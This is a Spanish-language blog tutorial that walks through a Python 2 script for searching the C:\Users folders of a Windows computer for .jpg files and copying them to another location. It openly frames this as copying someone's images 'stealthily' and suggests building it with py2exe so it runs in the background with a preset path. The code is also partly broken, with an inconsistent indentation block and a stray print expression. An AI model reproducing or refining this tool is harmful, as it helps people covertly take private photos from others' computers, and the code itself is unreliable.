Especial Dia del niño atrasado – Python

Bueno feliz día atrasado a todos esos niños curiosos, saludos//.. El tuto es para copiar las imágenes de un computador a otro de una manera sigilosa 💡 . Esto lo haremos con python.(Como instalar python) .Primero verificamos que tengamos python correctamente instalado.

 

Verificacion de la version de python

 

Importamos las siguientes librerías:

import os
import shutil

os es un módulo que nos permite de una manera fácil usar algunas funciones del sistema operativo.

shutil este módulo nos facilita la manipulación de archivos.

d1 = raw_input("Ruta :  ");

Pedimos una ruta para guardar las imágenes.

Luego agregamos:

for root , dirs , files in os.walk("C:\Usuarios"):

Iteramos sobre cada directorio raíz , por cada carpeta de esta y cada archivos de la carpeta :?.

for root , dirs , files in os.walk("C:\Usuarios"):
    #Python 2.7 reconoce file como una expresion
    for file in files:

Entonces iteramos por cada archivo.Y aquí es donde va la magia!Atentos

for root , dirs , files in os.walk("C:\Usuarios"):
    #Python 2.7 reconoce file como una expresion
    for file in files:
        if file.endswith('.jpg'):
             print file.count.__self__

Toda la magia esta con el endswidth :3 deberíamos amarlo ♥. Lo que hacen estas dos lineas es que si encuentras un archivo que termine en .jpg imprime el nombre del archivo con print.

import os
import shutil

d1 = raw_input("RUTA : ")

for root , dirs , files in os.walk("C:\Users"):
     #Python 2.7 reconoce file como una expresion
     for file in files: #files son los archivos
         if file.endswith('.jpg'):
             print file.count.__self__
            #shutil es para copiar lo que quieras aunque
            #puede dar probemas x permisos de admin(sudo)
            shutil.copymode(os.path.join(root,file),d1)
            shutil.copy(os.path.join(root,file),d1)

Y por último agregamos las líneas que guardan el archivo actual en la ruta que indicamos al inicio..

Claro que podemos mejorar esto por ejemplo si no tenemos mucho tiempo (ya que para que funcione, el equipo debe tener python instalado), podemos usar py2exe y con dos simples clic poner a correr nuestro programa en background, aunque claro deberíamos tener una ruta por defecto, para no ingresarla manualmente!!

Guardamos el archivo como imagenes.py y luego vamos a nuestra consola y lo probamos:

python imagenes.py

Iniciando programa

Entre y luego ingresamos la ruta donde queremos guardar las imágenes:

Poniendo la ruta

Y despues veremos los archivos que se van copiando y tenemos que esperar que termine de copiar todo lo que pueda.Lo podemos detener la ejecución presionando control+c

Ejecutando imagenes.py

Gracias a todos :D!!espero que les sirva!!!

PythonSmart

Anuncios

Responder

Introduce tus datos o haz clic en un icono para iniciar sesión:

Logo de WordPress.com

Estás comentando usando tu cuenta de WordPress.com. Cerrar sesión /  Cambiar )

Google+ photo

Estás comentando usando tu cuenta de Google+. Cerrar sesión /  Cambiar )

Imagen de Twitter

Estás comentando usando tu cuenta de Twitter. Cerrar sesión /  Cambiar )

Foto de Facebook

Estás comentando usando tu cuenta de Facebook. Cerrar sesión /  Cambiar )

w

Conectando a %s